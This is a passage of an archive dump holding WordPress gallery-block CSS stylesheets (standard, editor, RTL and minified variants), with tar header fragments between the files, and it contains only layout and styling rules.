figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 70%,transparent);bottom:0;box-sizing:border-box;color:#fff;font-size:13px;left:0;margin-bottom:0;max-height:60%;overflow:auto;padding:0 8px 8px;position:absolute;text-align:center;width:100%}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}blocks/gallery/theme-rtl.css000064400000000226151202620300012062 0ustar00.blocks-gallery-caption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .blocks-gallery-caption{ color:hsla(0,0%,100%,.65); }blocks/gallery/editor-rtl.css000064400000007120151202620300012246 0ustar00figure.wp-block-gallery{ display:block; } figure.wp-block-gallery>.blocks-gallery-caption{ flex:0 0 100%; } figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{ flex-basis:100%; } figure.wp-block-gallery .wp-block-image .components-notice.is-error{ display:block; } figure.wp-block-gallery .wp-block-image .components-notice__content{ margin:4px 0; } figure.wp-block-gallery .wp-block-image .components-notice__dismiss{ left:5px; position:absolute; top:0; } figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{ display:none; } figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{ margin-bottom:0; } figure.wp-block-gallery .block-editor-media-placeholder{ margin:0; } figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{ display:flex; } figure.wp-block-gallery .block-editor-media-placeholder figcaption{ z-index:2; } figure.wp-block-gallery .components-spinner{ margin-right:-9px; margin-top:-9px; position:absolute; right:50%; top:50%; } .gallery-settings-buttons .components-button:first-child{ margin-left:8px; } .gallery-image-sizes .components-base-control__label{ display:block; margin-bottom:4px; } .gallery-image-sizes .gallery-image-sizes__loading{ align-items:center; color:#757575; display:flex; font-size:12px; } .gallery-image-sizes .components-spinner{ margin:0 4px 0 8px; } .blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{ outline:none; } .blocks-gallery-item figure.is-selected:before{ bottom:0; box-shadow:0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset; content:""; left:0; outline:2px solid transparent; pointer-events:none; position:absolute; right:0; top:0; z-index:1; } .blocks-gallery-item figure.is-transient img{ opacity:.3; } .blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{ display:inline-flex; } .blocks-gallery-item .block-editor-media-placeholder{ height:100%; margin:0; } .blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{ display:flex; } .block-library-gallery-item__inline-menu{ background:#fff; border:1px solid #1e1e1e; border-radius:2px; display:none; margin:8px; position:absolute; top:-2px; transition:box-shadow .2s ease-out; z-index:20; } @media (prefers-reduced-motion:reduce){ .block-library-gallery-item__inline-menu{ transition-delay:0s; transition-duration:0s; } } .block-library-gallery-item__inline-menu:hover{ box-shadow:0 .7px 1px rgba(0,0,0,.1),0 1.2px 1.7px -.2px rgba(0,0,0,.1),0 2.3px 3.3px -.5px rgba(0,0,0,.1); } @media (min-width:600px){ .columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{ padding:2px; } } .block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){ border:none; box-shadow:none; } @media (min-width:600px){ .columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{ height:inherit; padding:0; width:inherit; } } .block-library-gallery-item__inline-menu.is-left{ right:-2px; } .block-library-gallery-item__inline-menu.is-right{ left:-2px; } .wp-block-gallery ul.blocks-gallery-grid{ margin:0; padding:0; } @media (min-width:600px){ .wp-block-update-gallery-modal{ max-width:480px; } } .wp-block-update-gallery-modal-buttons{ display:flex; gap:12px; justify-content:flex-end; }blocks/gallery/editor-rtl.min.css000064400000006366151202620300013043 0ustar00figure.wp-block-gallery{display:block}figure.wp-block-gallery>.blocks-gallery-caption{flex:0 0 100%}figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}figure.wp-block-gallery .wp-block-image .components-notice.is-error{display:block}figure.wp-block-gallery .wp-block-image .components-notice__content{margin:4px 0}figure.wp-block-gallery .wp-block-image .components-notice__dismiss{left:5px;position:absolute;top:0}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}figure.wp-block-gallery .block-editor-media-placeholder{margin:0}figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{display:flex}figure.wp-block-gallery .block-editor-media-placeholder figcaption{z-index:2}figure.wp-block-gallery .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.gallery-settings-buttons .components-button:first-child{margin-left:8px}.gallery-image-sizes .components-base-control__label{display:block;margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{align-items:center;color:#757575;display:flex;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 4px 0 8px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid transparent;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{display:inline-flex}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.block-library-gallery-item__inline-menu{background:#fff;border:1px solid #1e1e1e;border-radius:2px;display:none;margin:8px;position:absolute;top:-2px;transition:box-shadow .2s ease-out;z-index:20}@media (prefers-reduced-motion:reduce){.block-library-gallery-item__inline-menu{transition-delay:0s;transition-duration:0s}}.block-library-gallery-item__inline-menu:hover{box-shadow:0 .7px 1px rgba(0,0,0,.1),0 1.2px 1.7px -.2px rgba(0,0,0,.1),0 2.3px 3.3px -.5px rgba(0,0,0,.1)}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{padding:2px}}.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){border:none;box-shadow:none}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{height:inherit;padding:0;width:inherit}}.block-library-gallery-item__inline-menu.is-left{right:-2px}.block-library-gallery-item__inline-menu.is-right{left:-2px}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end}blocks/gallery/style-rtl.css000064400000034623151202620300012130 0ustar00.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){ display:flex; flex-wrap:wrap; list-style-type:none; margin:0; padding:0; } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{ display:flex; flex-direction:column; flex-grow:1; justify-content:center; margin:0 0 1em 1em; position:relative; width:calc(50% - 1em); } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){ margin-left:0; } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{ align-items:flex-end; display:flex; height:100%; justify-content:flex-start; margin:0; } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{ display:block; height:auto; max-width:100%; width:auto; } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{ background:linear-gradient(0deg, rgba(0,0,0,.7), rgba(0,0,0,.3) 70%, transparent); bottom:0; box-sizing:border-box; color:#fff; font-size:.8em; margin:0; max-height:100%; overflow:auto; padding:3em .77em .7em; position:absolute; text-align:center; width:100%; z-index:2; } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{ display:inline; } .blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{ flex-grow:1; } .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{ flex:1; height:100%; object-fit:cover; width:100%; } .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{ margin-left:0; width:100%; } @media (min-width:600px){ .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{ margin-left:1em; width:calc(33.33333% - .66667em); } .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{ margin-left:1em; width:calc(25% - .75em); } .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{ margin-left:1em; width:calc(20% - .8em); } .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{ margin-left:1em; width:calc(16.66667% - .83333em); } .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{ margin-left:1em; width:calc(14.28571% - .85714em); } .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{ margin-left:1em; width:calc(12.5% - .875em); } .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){ margin-left:0; } } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{ margin-left:0; } .blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{ max-width:420px; width:100%; } .blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{ justify-content:center; } .wp-block-gallery:not(.is-cropped) .blocks-gallery-item{ align-self:flex-start; } figure.wp-block-gallery.has-nested-images{ align-items:normal; } .wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){ margin:0; width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2); } .wp-block-gallery.has-nested-images figure.wp-block-image{ box-sizing:border-box; display:flex; flex-direction:column; flex-grow:1; justify-content:center; max-width:100%; position:relative; } .wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{ flex-direction:column; flex-grow:1; margin:0; } .wp-block-gallery.has-nested-images figure.wp-block-image img{ display:block; height:auto; max-width:100% !important; width:auto; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption{ background:linear-gradient(0deg, rgba(0,0,0,.7), rgba(0,0,0,.3) 70%, transparent); bottom:0; box-sizing:border-box; color:#fff; font-size:13px; margin-bottom:0; max-height:60%; overflow:auto; padding:0 8px 8px; position:absolute; right:0; text-align:center; width:100%; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{ display:inline; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{ color:inherit; } .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{ box-sizing:border-box; } .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{ flex:1 1 auto; } .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{ background:none; color:inherit; flex:initial; margin:0; padding:10px 10px 9px; position:relative; } .wp-block-gallery.has-nested-images figcaption{ flex-basis:100%; flex-grow:1; text-align:center; } .wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){ margin-bottom:auto; margin-top:0; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){ align-self:inherit; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){ display:flex; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{ flex:1 0 0%; height:100%; object-fit:cover; width:100%; } .wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){ width:100%; } @media (min-width:600px){ .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){ width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667); } .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){ width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75); } .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){ width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8); } .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){ width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333); } .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){ width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714); } .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){ width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){ width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){ width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{ width:100%; } } .wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{ max-width:420px; width:100%; } .wp-block-gallery.has-nested-images.aligncenter{ justify-content:center; }blocks/gallery/style.css000064400000034634151202620300011333 0ustar00.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){ display:flex; flex-wrap:wrap; list-style-type:none; margin:0; padding:0; } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{ display:flex; flex-direction:column; flex-grow:1; justify-content:center; margin:0 1em 1em 0; position:relative; width:calc(50% - 1em); } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){ margin-right:0; } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{ align-items:flex-end; display:flex; height:100%; justify-content:flex-start; margin:0; } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{ display:block; height:auto; max-width:100%; width:auto; } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{ background:linear-gradient(0deg, rgba(0,0,0,.7), rgba(0,0,0,.3) 70%, transparent); bottom:0; box-sizing:border-box; color:#fff; font-size:.8em; margin:0; max-height:100%; overflow:auto; padding:3em .77em .7em; position:absolute; text-align:center; width:100%; z-index:2; } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{ display:inline; } .blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{ flex-grow:1; } .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{ flex:1; height:100%; object-fit:cover; width:100%; } .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{ margin-right:0; width:100%; } @media (min-width:600px){ .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{ margin-right:1em; width:calc(33.33333% - .66667em); } .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{ margin-right:1em; width:calc(25% - .75em); } .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{ margin-right:1em; width:calc(20% - .8em); } .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{ margin-right:1em; width:calc(16.66667% - .83333em); } .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{ margin-right:1em; width:calc(14.28571% - .85714em); } 